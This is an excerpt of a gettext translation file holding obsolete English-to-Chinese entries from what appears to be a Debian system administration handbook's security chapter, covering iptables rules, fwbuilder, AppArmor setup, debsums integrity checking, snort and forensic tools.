#~ msgstr "-i interface 条件选择源自指定网络接口的数据包。-o interface 条件选择从指定接口出去的数据包。"
#~ msgid "There are more specific conditions, depending on the generic conditions described above. For instance, the -p tcp condition can be complemented with conditions on the TCP ports, with clauses such as --source-port port and --destination-port port."
#~ msgstr "根据上述的通用条件,可以定义更具体的条件。例如,-p tcp 条件可以和 TCP 端口条件互为补充,就形成例如--source-port port 和 --destination-port port。"
#~ msgid "The --state state condition matches the state of a packet in a connection (this requires the ipt_conntrack kernel module, for connection tracking). The NEW state describes a packet starting a new connection; ESTABLISHED matches packets belonging to an already existing connection, and RELATED matches packets initiating a new connection related to an existing one (which is useful for the ftp-data connections in the “active” mode of the FTP protocol)."
#~ msgstr "--state state 条件匹配连接中某个状态的数据包(这需要 ipt_conntrack 内核模块,用于连接追踪)。新(NEW) 状态指明开启新连接的数据包;建立(ESTABLISHED) 匹配属于已存在连接的数据包;相关(RELATED) 匹配发起与已存在连接相关的数据包(这对处于“活动”模式的 ftp-data 连接是很有用的)。"
#~ msgid "The previous section lists available actions, but not their respective options. The LOG action, for instance, has the following options:"
#~ msgstr "前面的段落列出了可用的操作,但是没有相应的选项。例如:记录 LOG 操作,有如下的选项:"
#, fuzzy
#~| msgid "--log-priority, with default value warning, indicates the syslog message priority;"
#~ msgid "--log-level, with default value warning, indicates the syslog severity level;"
#~ msgstr "--log-priority,默认值 warning,指明 syslog 消息的优先级;"
#~ msgid "--log-prefix allows specifying a text prefix to differentiate between logged messages;"
#~ msgstr "--log-prefix 可用来指定不同文字前缀来区分消息;"
#~ msgid "--log-tcp-sequence, --log-tcp-options and --log-ip-options indicate extra data to be integrated into the message: respectively, the TCP sequence number, TCP options, and IP options."
#~ msgstr "--log-tcp-sequence,--log-tcp-options 和 --log-ip-options 指定需附加的消息数据:相对应的 TCP 序列号码,TCP 选项,和 IP 选项。"
#, fuzzy
#~ msgid "The DNAT action provides the --to-destination address:port option to indicate the new destination IP address and/or port. Similarly, SNAT provides --to-source address:port to indicate the new source IP address and/or port."
#~ msgstr "DNAT 操作(仅对 IPv4有用)提供--to-destination address:port 选项指明新的目的地 IP 地址和端口号。类似地,SNAT 提供了 --to-source address:port 用以指明新的源 IP 地址和端口号。"
#, fuzzy
#~ msgid "The REDIRECT action (only available if NAT is available) provides the --to-ports port(s) option to indicate the port, or port range, where the packets should be redirected."
#~ msgstr "重定向(REDIRECT) 操作(仅对 IPv4有效)提供了--to-ports port(s) 选项用以指明数据包需重定向的端口,或者端口范围。"
#~ msgid "Creating Rules"
#~ msgstr "创建规则"
#~ msgid "The principle is simple. In the first step, one needs to describe all the elements that will be involved in the actual rules:"
#~ msgstr "规则很简单。第一步,列出所有要调用的规则元素:"
#~ msgid "the firewall itself, with its network interfaces;"
#~ msgstr "防火墙自身以及网络接口;"
#~ msgid "the networks, with their corresponding IP ranges;"
#~ msgstr "网络,及其相应的 IP 范围;"
#~ msgid "the servers;"
#~ msgstr "服务器;"
#~ msgid "the ports belonging to the services hosted on the servers."
#~ msgstr "宿主服务器上服务所使用的端口号。"
#~ msgid "The rules are then created with simple drag-and-drop actions on the objects. A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured."
#~ msgstr "然后可以使用对象拖拽(drag-and-drop)来创建规则。一些上下文菜单可以改变条件(例如,求反)。然后选择操作和配置。"
#~ msgid "As far as IPv6 is concerned, one can either create two distinct rulesets for IPv4 and IPv6, or create only one and let fwbuilder translate the rules according to the addresses assigned to the objects."
#~ msgstr "至于 IPv6,可以为 IPv4 和 IPv6 分别创建规则集,或者只创建一个并使用 fwbuilder 来根据赋给对象的地址来转化规则。"
#~ msgid "Fwbuilder's main window"
#~ msgstr "Fwbuilder 主窗口"
#, fuzzy
#~ msgid "fwbuilder can then generate a script configuring the firewall according to the rules that have been defined. Its modular architecture gives it the ability to generate scripts targeting different systems (iptables for Linux, ipf for FreeBSD and pf for OpenBSD)."
#~ msgstr "然后 fwbuilder 可以根据已定义的规则产生配置防火墙的脚本。它模块化的架构可以为不同的目标系统产生脚本(Linux 2.4/2.6 上 iptables , FreeBSD 上 ipf,OpenBSD 上 pf)。"
#~ msgid ""
#~ "# apt install apparmor apparmor-profiles apparmor-utils\n"
#~ "[...]\n"
#~ "# perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n"
#~ "# update-grub\n"
#~ ""
#~ msgstr ""
#~ "# apt install apparmor apparmor-profiles apparmor-utils\n"
#~ "[...]\n"
#~ "# perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n"
#~ "# update-grub\n"
#~ ""
#, fuzzy
#~| msgid "CAUTION Range of action"
#~ msgid "CAUTION Reference policy not in jessie"
#~ msgstr "注意 行动范围"
#, fuzzy
#~ msgid "SNAT (only in the nat table, therefore only in IPv4 on Wheezy — NAT support for IPv6 appeared in the Linux 3.7 kernel): apply Source NAT (extra options describe the exact changes to apply);"
#~ msgstr "SNAT(仅存在于 nat 表中,即只在 IPv4 中):申请源 NAT(额外选项描述申请改变);"
#~ msgid "Versions of the fwbuilder package since Squeeze contain both the graphical interface and the modules for each firewall system (these were previously split over several packages, one for each target system):"
#~ msgstr "自从 Squeeze 之后的版本 fwbuilder 软件包中都包含了图形界面和每种防火墙系统的模块(之前这些模块被分割成多个软件包,每种目标系统一个):"
#~ msgid "If the firewall is meant to protect an intermittent PPP network connection, the simplest way to deploy the script is to install it as /etc/ppp/ip-up.d/0iptables (note that only files without a dot in their name are taken into account). The firewall will thus be reloaded every time a PPP connection is established."
#~ msgstr "如果防火墙准备用于间歇性的 PPP 网络连接,最简单的方法就是将脚本作为 /etc/ppp/ip-up.d/0iptables 安装(注意文件名中不包含点的文件才会起作用)。这样每次 PPP 连接之后防火墙就会被从新加载。"
#~ msgid "TIP Your logs as screen background"
#~ msgstr "提示 如同屏幕背景的日志"
#~ msgid "Some administrators like seeing their log messages scroll by in real time; the root-tail command (in the root-tail) package can be used to integrate the logs into the background of their graphical desktop. The xconsole program (in the x11-apps package) can also have them scrolling in a small window. Messages are directly taken from syslogd via the /dev/xconsole named pipe."
#~ msgstr "有些管理员喜欢实时滚动的看到日志信息;root-tail 命令(在 root-tail 中)软件包可以将日志集成到图形桌面的背景。xconsole 程序(在 x11-apps 软件包中)也能让它们在小窗口中滚动。信息通过 syslogd 直接来源于 /dev/xconsole 命名管道。"
#~ msgid "root-tail"
#~ msgstr "root-tail"
#~ msgid "In addition, the md5sums files are stored on the hard disk; a thorough attacker will therefore update these files so they contain the new control sums for the subverted files."
#~ msgstr "另外,md5sums 文件存储在硬盘上;攻击者会更新这些文件以包含被篡改文件的检核和。"
#~ msgid "The first drawback can be avoided by asking debsums to base its checks on a .deb package instead of relying on the md5sums file. But that requires downloading the matching .deb files first:"
#~ msgstr "第一个缺点可以通过设定 debsums 基于 .deb 软件包检测,而非依赖 md5sums 文件。但是,这样首先需要下载相应的 .deb:"
#~ msgid ""
#~ "\n"
#~ "# apt-get --reinstall -d install `debsums -l`\n"
#~ "[ ... ]\n"
#~ "# debsums -p /var/cache/apt/archives -g\n"
#~ " "
#~ msgstr ""
#~ "\n"
#~ "# apt-get --reinstall -d install `debsums -l`\n"
#~ "[ ... ]\n"
#~ "# debsums -p /var/cache/apt/archives -g\n"
#~ " "
#~ msgid "It is also worth noting that, in its default configuration, debsums automatically generates the missing md5sums files whenever a package is installed using APT."
#~ msgstr "同样值得注意的是,在默认配置中,如果使用 APT 安装软件包,debsums 将自动产生缺失的 md5sums 文件。"
#~ msgid "Its configuration requires describing the range of addresses that the local network covers. In practice, this means the set of all potential attack targets. Other important parameters can be configured with dpkg-reconfigure snort, including the network interface to monitor. This will often be eth0 for an Ethernet connection, but other possibilities exist such as ppp0 for an ADSL or PSTN (Public Switched Telephone Network, or good old dialup modem), or even wlan0 for some wireless network cards."
#~ msgstr "其配置需要指明本地网络所覆盖的网络地址。实际上,这意味着所有潜在的攻击目标。其他重要参数可以使用 dpkg-reconfigure snort 配置,包括要监视的网络接口。对以太网连接来说,通常是 eth0,但是也可能是其他的,例如:对于 ADSL 或 PSTN(Public Switched Telephone Network,或者旧式拨号调制解调器) 是 ppp0,对于某些无线网卡是 wlan0。"
#~ msgid "The snort configuration file (/etc/snort/snort.conf) is very long, and the abundant comments describe each directive with much detail. Getting the most out of it requires reading it in full and adapting it to the local situation. For instance, indicating which machine hosts which service can limit the number of incidents snort will report, since a denial of service attack on a desktop machine is far from being as critical as one on a DNS server. Another interesting directive allows storing the mappings between IP addresses and MAC addresses (these uniquely identify a network card), so as to allow detecting ARP spoofing attacks by which a compromised machine attempts to masquerade as another such as a sensitive server."
#~ msgstr "snort 配置文件(/etc/snort/snort.conf)很长,大量的注释从细节上描述每个指令。了解其大部分内容需要通读并结合具体情况。譬如,指明哪个机器上有哪种服务可以限制 snort 报告的数量,因为在桌面系统上的拒绝服务攻击远不及在 DNS 服务器上的严重。另一个有趣的指令是存储 IP 地址和 MAC 地址(它可以唯一的识别网卡)之间的映射关系,以便于侦测 ARP 欺骗 攻击,其中被操纵的机器试图伪装成另一个机器(例如一个关键服务器)。"
#~ msgid "On a small network based around a network hub, there is no such problem, since all machines get all the traffic."
#~ msgstr "在基于集线器为基础的小型网络上,不存在此类问题,因为所有的机器都能获取全部通信数据。"
#~ msgid "The target object was named xconsole."
#~ msgstr "目标对象名称是 xconsole。"
#~ msgid "Some of these operations can be made easier with specialized software. In particular, The Coroner Toolkit (in the tct package) is a collection of such tools. It includes several tools; amongst these, grave-robber can collect data from a running compromised system, lazarus extracts often interesting data from non-allocated regions on disks, and pcat can copy the memory used by a process; other data extraction tools are also included. The Coroner Toolkit"
#~ msgstr "可以使用特殊的软件让操作变得更简单。The Coroner Toolkit (在 tct 软件包中)是此类工具的集合。包括几种工具;其中 grave-robber 可以从正在运行的感染系统中收集数据,lazarus 可以从磁盘上未分配区域提取感兴趣的数据,pcat 可以复制某个进程的内存;其中也包含了其他数据提取工具。The Coroner Toolkit"
#~ msgid "TIP Visual representations of activity"
#~ msgstr "提示 活动的可视化表示"
#~ msgid "For more visual (and entertaining) representations of a computer's activity, one should investigate the lavaps, bubblemon and bubblefishymon packages. lavaps displays running processes as the wax bubbles in a lava-lamp. bubblemon is a desktop panel applet representing the amount of used memory and the processor usage as an aquarium with bubbles. bubblefishymon is rather similar, but it also adds fish representing network traffic (and even a duck)."
#~ msgstr "对于更多计算机活动可视化(有趣)的表示方法,可以研究 lavaps,bubblemon 和 bubblefishymon 几个软件包。lavaps 将进程显示为熔岩灯中的蜡泡。bubblemon 是一个桌面应用,可以将处理器和内存用量显示成鱼缸里的气泡。bubblefishymon 比较相似,但是它用鱼(鸭子)表示网络流量。"
#~ msgid "bubblefishymon"
#~ msgstr "bubblefishymon"
#~ msgid "bubblemon"
#~ msgstr "bubblemon"